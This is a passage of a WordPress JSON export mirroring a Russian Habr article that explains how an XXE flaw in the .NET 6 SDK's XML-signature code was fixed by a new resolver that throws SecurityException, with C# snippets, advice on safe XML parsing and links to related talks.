\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u043e\u0432.<\/p>\n<p>  <\/p>\n<h3 id=\"fiks\">\u0424\u0438\u043a\u0441<\/h3>\n<p>  <\/p>\n<p>\u0421 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0444\u0438\u043a\u0441. \u041e\u043d \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u2014 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u0434 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u043e\u0432. <\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0438:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver                                    : new XmlSecureResolver(new XmlUrlResolver(),                                                           baseUri));  XmlDocument docWithNoComments = Utils.DiscardComments(     Utils.PreProcessDocumentInput(document, resolver, baseUri));<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0438 \u043e\u043d, \u043d\u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 <code>PreProcessDocumentInput<\/code> \u043d\u0435 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c. \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u2014 \u0442\u0438\u043f <code>XmlSecureResolver<\/code>. \u041f\u0440\u0438\u0447\u0451\u043c \u0434\u0430\u0436\u0435 \u043d\u0435 \u0435\u0433\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u043a\u043e\u0434\u0430 \u0441\u0442\u0430\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <em>\u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u0434\u0440\u0443\u0433\u043e\u0439 \u0442\u0438\u043f<\/em>. \u041a\u0430\u043a \u0442\u0430\u043a? \u0421\u0435\u0439\u0447\u0430\u0441 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c\u0441\u044f.<\/p>\n<p>  <\/p>\n<p>\u041c\u0435\u0442\u043e\u0434 <code>CalculateHashValue<\/code> \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0432 \u0442\u0438\u043f\u0435 <code>Reference<\/code> \u0438\u0437 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0451\u043d <code>System.Security.Cryptography.Xml<\/code>. \u0422\u0438\u043f <code>XmlSecureResolver<\/code> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0438\u043c\u0451\u043d <code>System.Xml<\/code> \u0438 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f <code>Reference<\/code> \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 <code>using<\/code>:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">\/\/ Reference.cs using System.Xml; ... namespace System.Security.Cryptography.Xml {     public class Reference     {         ...         internal byte[]          CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)         {             ...             resolver = (  SignedXml.ResolverSet                          ? SignedXml._xmlResolver                          : new XmlSecureResolver(new XmlUrlResolver(),                                                 baseUri));              XmlDocument docWithNoComments =                Utils.DiscardComments(                 Utils.PreProcessDocumentInput(document, resolver, baseUri));             ...          }     } }  \/\/ XmlSecureResolver.cs namespace System.Xml {     ...     public partial class XmlSecureResolver : XmlResolver     { ... } }<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412 <a href=\"https:\/\/github.com\/dotnet\/runtime\/commit\/02f4445e9d180f85434aa15bb3323797c3e2aa87\" rel=\"nofollow noopener noreferrer\">\u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0441 \u0444\u0438\u043a\u0441\u043e\u043c<\/a> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0434\u0440\u0443\u0433\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0442\u0438\u043f\u0430 <code>XmlSecureResolver<\/code> \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0451\u043d <code>System.Security.Cryptography.Xml<\/code> \u2014 \u0442\u043e\u0433\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0433\u043e, \u0433\u0434\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0438 \u0441\u0430\u043c \u0442\u0438\u043f <code>Reference<\/code>. <\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u0434 \u0442\u0438\u043f\u0430 <code>Reference<\/code>, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u043e\u0432 \u043d\u0435 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c. \u041e\u0434\u043d\u0430\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u044b \u0438\u0437 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0451\u043d <code>System.Security.Cryptography.Xml.XmlSecureResolver<\/code>, \u0430 \u043d\u0435 <code>System.Xml.XmlSecureResolver<\/code>.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/wd\/mt\/zj\/wdmtzjb8tjez1_g-8nc9ldlgvem.png\" data-src=\"https:\/\/habrastorage.org\/webt\/wd\/mt\/zj\/wdmtzjb8tjez1_g-8nc9ldlgvem.png\"\/> <\/p>\n<p>  <\/p>\n<p>\u0421\u0430\u043c \u043d\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">namespace System.Security.Cryptography.Xml {     \/\/ This type masks out System.Xml.XmlSecureResolver by being in the local namespace.     internal sealed class XmlSecureResolver : XmlResolver     {         internal XmlSecureResolver(XmlResolver resolver, string securityUrl)         {         }          \/\/ Simulate .NET Framework's CAS behavior by throwing SecurityException.         \/\/ Unlike .NET Framework's implementation, the securityUrl ctor parameter has no effect.         public override object          GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn)            => throw new SecurityException();     } }<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u043d\u0433\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439: \u0435\u0441\u043b\u0438 \u043c\u0435\u0442\u043e\u0434 <code>GetEntity<\/code> \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0442\u043e \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u043a\u0438\u0434\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u0430 <code>SecurityException<\/code>. \u0412 \u044d\u0442\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u043e\u0431\u043d\u043e\u0432\u0438\u0432 \u043f\u0430\u043a\u0435\u0442 System.Security.Cryptography.Xml \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.1. \u0415\u0441\u043b\u0438 \u0432\u0437\u044f\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u0447\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0437 \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0438 \u0441\u043a\u043e\u0440\u043c\u0438\u0442\u044c \u0435\u043c\u0443 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 XML, \u0432\u043c\u0435\u0441\u0442\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/y2\/8n\/u7\/y28nu7t1n7tkzcde6wkoiufjp3u.png\" data-src=\"https:\/\/habrastorage.org\/webt\/y2\/8n\/u7\/y28nu7t1n7tkzcde6wkoiufjp3u.png\"\/><\/p>\n<p>  <\/p>\n<h2 id=\"vyvody\">\u0412\u044b\u0432\u043e\u0434\u044b<\/h2>\n<p>  <\/p>\n<p>\u0412 .NET \u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438 \u0435\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 XXE. \u041a\u0430\u043a \u043c\u044b \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0443\u0431\u0435\u0434\u0438\u043b\u0438\u0441\u044c, \u044d\u0442\u0430 \u0436\u0435 \u0437\u0430\u0449\u0438\u0442\u0430 \u043b\u0435\u0433\u043a\u043e \u043b\u043e\u043c\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u0438\u0437-\u0437\u0430 \u0441\u0442\u0435\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432 XML-\u043f\u0430\u0440\u0441\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438.<\/p>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u0442\u044c:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0430\u0440\u0441\u0435\u0440\u044b \u043d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0438 DTD \/ \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0434\u0435\u043b\u0430\u043b\u0438 \u044d\u0442\u043e \u0441 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438; <\/li>\n<li>\u0431\u0443\u0434\u044c\u0442\u0435 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u0435\u0435 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u043c\u0438 (\u0431\u0443\u0434\u044c \u0442\u043e SDK \u0438\u043b\u0438 NuGet-\u043f\u0430\u043a\u0435\u0442). \u0415\u0441\u043b\u0438 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441 XML, \u043a\u0442\u043e \u0437\u043d\u0430\u0435\u0442, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u043b\u0438.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u0414\u0430 \u043f\u0440\u0435\u0431\u0443\u0434\u0435\u0442 \u0441 \u0432\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.<\/p>\n<p>  <\/p>\n<h2 id=\"dopolnitelnye-materialy\">\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b<\/h2>\n<p>  <\/p>\n<p><strong>\u0421\u0442\u0430\u0442\u044c\u0438<\/strong><\/p>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/habr.com\/ru\/companies\/pvs-studio\/articles\/650935\/\">\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 XML-\u0444\u0430\u0439\u043b\u043e\u0432: XXE \u0432 C# \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0432 \u0442\u0435\u043e\u0440\u0438\u0438 \u0438 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435<\/a><\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/companies\/pvs-studio\/articles\/652255\/\">\u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0451 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 SVG-\u0444\u0430\u0439\u043b\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b?<\/a><\/li>\n<\/ul>\n<p>  <\/p>\n<p><strong>\u0414\u043e\u043a\u043b\u0430\u0434\u044b<\/strong><\/p>\n<p>  <\/p>\n<ul>\n<li>DotNext 2022: <a href=\"https:\/\/youtu.be\/7L21g7eedtA?si=eCHOhz8sKnevNdiM\" rel=\"nofollow noopener noreferrer\">\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 XML-\u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u0430\u043a \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439<\/a><\/li>\n<li>DotNext 2023: <a href=\"https:\/\/dotnext.ru\/talks\/55f6a76e1b7e463b8dbac2bd4e834cac\" rel=\"nofollow noopener noreferrer\">\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 XML \u0432 .NET: \u0447\u0430\u0441\u0442\u044c 2<\/a><br \/>  (\u0432 \u043e\u0431\u0449\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442)<\/li>\n<\/ul>\n<p>  <\/p>\n<p><strong>P.S.<\/strong> \u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 Joker 2023 \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b \u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0435 XXE \u0432 Java. \u0415\u0441\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0432 \u0447\u0451\u043c \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 .NET \u0438\u043b\u0438 \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u043e \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u043c\u0438 Java-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0432\u043e\u0442 <a href=\"https:\/\/jokerconf.com\/talks\/469c485dc9ba4018a4da06bde2bc7940\" rel=\"nofollow noopener noreferrer\">\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0434\u043e\u043a\u043b\u0430\u0434<\/a> (\u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c, \u043d\u0443\u0436\u0435\u043d \u0431\u0438\u043b\u0435\u0442).<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/769714\/\"> https:\/\/habr.com\/ru\/articles\/769714\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/zp\/fu\/kk\/zpfukkzo_dmhyngtl1ig9vpal3k.png\" data-src=\"https:\/\/habrastorage.org\/webt\/zp\/fu\/kk\/zpfukkzo_dmhyngtl1ig9vpal3k.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 .NET \u0434\u0430\u0451\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 XXE \u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438: \u043f\u0430\u0440\u0441\u0438\u0448\u044c \u0441\u0435\u0431\u0435 XML \u0438 \u043d\u0435 \u0437\u0430\u0431\u0438\u0432\u0430\u0435\u0448\u044c \u0433\u043e\u043b\u043e\u0432\u0443 \u0432\u0441\u044f\u043a\u0438\u043c\u0438 DTD, \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043d\u0438\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0420\u0430\u0437\u0432\u0435 \u043d\u0435 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e? \u041e\u0434\u043d\u0430\u043a\u043e \u0436\u0438\u0437\u043d\u044c \u2014 \u0448\u0442\u0443\u043a\u0430 \u0441 \u0438\u0440\u043e\u043d\u0438\u0435\u0439&#8230;<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c XXE \u0438\u0437 .NET 6 SDK: \u043a\u043e\u0434, \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0444\u0438\u043a\u0441.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-358419","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/358419","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=358419"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/358419\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=358419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=358419"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=358419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}